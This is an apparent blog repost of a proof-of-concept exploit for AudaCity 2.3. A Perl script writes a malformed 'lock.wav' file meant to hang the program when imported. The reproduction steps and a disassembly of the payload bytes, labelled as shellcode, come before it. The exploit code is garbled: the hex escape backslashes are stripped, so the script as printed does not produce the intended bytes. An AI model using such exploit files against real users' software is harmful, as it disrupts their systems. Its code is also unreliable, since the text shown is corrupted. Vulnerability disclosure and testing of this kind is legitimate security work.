AudaCity 2.3 Denial Of Service

In Keamanan
# Exploit Title: AudaCity 2.3 - Denial of Service (PoC)
# Author: Kagan Capar
# Discovery Date: 2018-10-19
# Software Link: https://www.fosshub.com/Audacity.html
# Vendor Homepage : https://www.audacityteam.org
# Tested Version: 2.3
# Tested on OS: Windows 10 x64/86 (Normal use CPU) & Windows 7 (High CPU usage) & Windows XP (High CPU usage)
# other version should be affected
# Steps to Reproduce: Run the perl exploit script, it will create a new
# file with the name "lock.wav". Open Audatcity.exe
# Go to File > Open > Import > Select "lock.wav file"
# you will see a locking on software.

# ! /usr/bin/perl

# Dump of assembler code for function data:
# 0x0000000000004040 <+0>: push %rdx
# 0x0000000000004041 <+1>: rex.WB
# 0x0000000000004042 <+2>: rex.RX
# 0x0000000000004043 <+3>: rex.RX retq $0x158
# 0x0000000000004047 <+7>: add %dl,0x41(%rdi)
# 0x000000000000404a <+10>: push %rsi
# 0x000000000000404b <+11>: rex.RB
# 0x000000000000404c <+12>: rex.R
# 0x000000000000404d <+13>: rex.R
# 0x000000000000404e <+14>: rex.R
# 0x000000000000404f <+15>: rex.R clc
# 0x0000000000004051 <+17>: (bad)
# 0x0000000000004052 <+18>: (bad)
# 0x0000000000004053 <+19>: incl (%rcx)
# 0x0000000000004055 <+21>: add %al,(%rcx)
# 0x0000000000004057 <+23>: add %ah,(%rdx)
# 0x0000000000004059 <+25>: push %rsi
# 0x000000000000405a <+26>: add %al,(%rax)
# 0x000000000000405c <+28>: rex.R lods %ds:(%rsi),%al
# 0x000000000000405e <+30>: add %al,(%rax)
# 0x0000000000004060 <+32>: add (%rax),%al
# 0x0000000000004062 <+34>: adc %al,(%rax)
# 0x0000000000004064 <+36>: add %al,(%rax)
# 0x0000000000004066 <+38>: data16 (bad)
# 0x0000000000004068 <+40>: movslq 0x0(%rsp,%rax,1),%esi
# 0x000000000000406c <+44>: add %al,(%rax)
# 0x000000000000406e <+46>: rex.W lods %ds:(%rsi),%al
# 0x0000000000004070 <+48>: add %al,(%rax)
# 0x0000000000004072 <+50>: fs (bad)
# 0x0000000000004074 <+52>: je 0x40d7 <shellcode+151>
# 0x0000000000004076 <+54>: nop
# 0x0000000000004077 <+55>: pop %rax
# 0x0000000000004078 <+56>: add %eax,(%rax)
# 0x000000000000407a <+58>: add %al,(%rax)
# 0x000000000000407c <+60>: add %al,(%rax)
# 0x000000000000407e <+62>: add %al,(%rax)
# 0x0000000000004080 <+64>: add %al,(%rax)
# 0x0000000000004082 <+66>: add %al,(%rax)
# 0x0000000000004084 <+68>: add %al,(%rax)
# 0x0000000000004086 <+70>: (bad)
# 0x0000000000004087 <+71>: incl (%rax)
# 0x0000000000004089 <+73>: add %al,(%rax)
# 0x000000000000408b <+75>: add %bh,%bh
# 0x000000000000408d <+77>: incl (%rax)
# 0x000000000000408f <+79>: add %bh,%bh
# 0x0000000000004091 <+81>: incl (%rax)
# 0x0000000000004093 <+83>: add %bh,%bh
# 0x0000000000004095 <+85>: incl (%rax)
# 0x0000000000004097 <+87>: add %bh,%bh
# 0x0000000000004099 <+89>: incl (%rax)
# 0x000000000000409b <+91>: add %bh,%bh

open(code, ">lock.wav");
binmode(code);
$data =
"x52x49x46x46xc2x58x01x00x57x41x56x45x44x44x44x44" .
"xf8xffxffxffx01x00x01x00x22x56x00x00x44xacx00x00" .
"x02x00x10x00x00x00x66x61x63x74x04x00x00x00x48xac" .
"x00x00x64x61x74x61x90x58x01x00x00x00x00x00x00x00" .
"x00x00x00x00x00x00xffxffx00x00x00x00xffxffx00x00" .
"xffxffx00x00xffxffx00x00xffxffx00x00xffxffx00x00" .
"xffxffx00x00xffxffx00x00xffxffx00x00xffxffx00x00" .
"xffxffx00x00xffxffx01x00x08x00x0bx00x0cx00x0bx00" .
"x0cx00x09x00x07x00x0ax00x0ax00x07x00x0bx00x09x00" .
"x08x00x0ax00x08x00x09x00x0ax00x0ax00x0ax00x09x00" .
"x09x00x0ax00x0cx00x0cx00x0ax00x0bx00x0cx00x08x00" .
"x0bx00x0dx00x0ax00x0cx00x0dx00x0ax00x0ax00x0ax00" .
"x0cx00x0cx00x0dx00x10x00x0bx00x0dx00x0cx00x09x00" .
"x0ax00x0ex00x0bx00x0bx00x0ax00x0ex00x0ax00x07x00" .
"x08x00x05x00x08x00x0bx00x09x00x0bx00x08x00x08x00" .
"x0bx00x09x00x07x00x08x00x07x00x09x00x0dx00x0cx00" .
"x0bx00x0bx00x0ax00x0cx00x0fx00x0ax00x0ax00x0bx00" .
"x0fx00x07x00x09x00x07x00x09x00x08x00x05x00x0ax00" .
"x0ax00x07x00x08x00x0bx00x06x00x0dx00x0cx00x0cx00" .
"x0bx00x0cx00x0bx00x09x00x0bx00x0bx00x09x00x0fx00" .
"x08x00x0ax00x0fx00x0bx00x0dx00x0ax00x0ax00x09x00" .
"x09x00x0dx00x10x00x0dx00x0bx00x0cx00x0ex00x09x00" .
"x0cx00x0ex00x0ax00x0bx00x0bx00x0bx00x0ax00x0ex00";

print code $data;
close(code);

Tinggalkan Balasan

Mobile Sliding Menu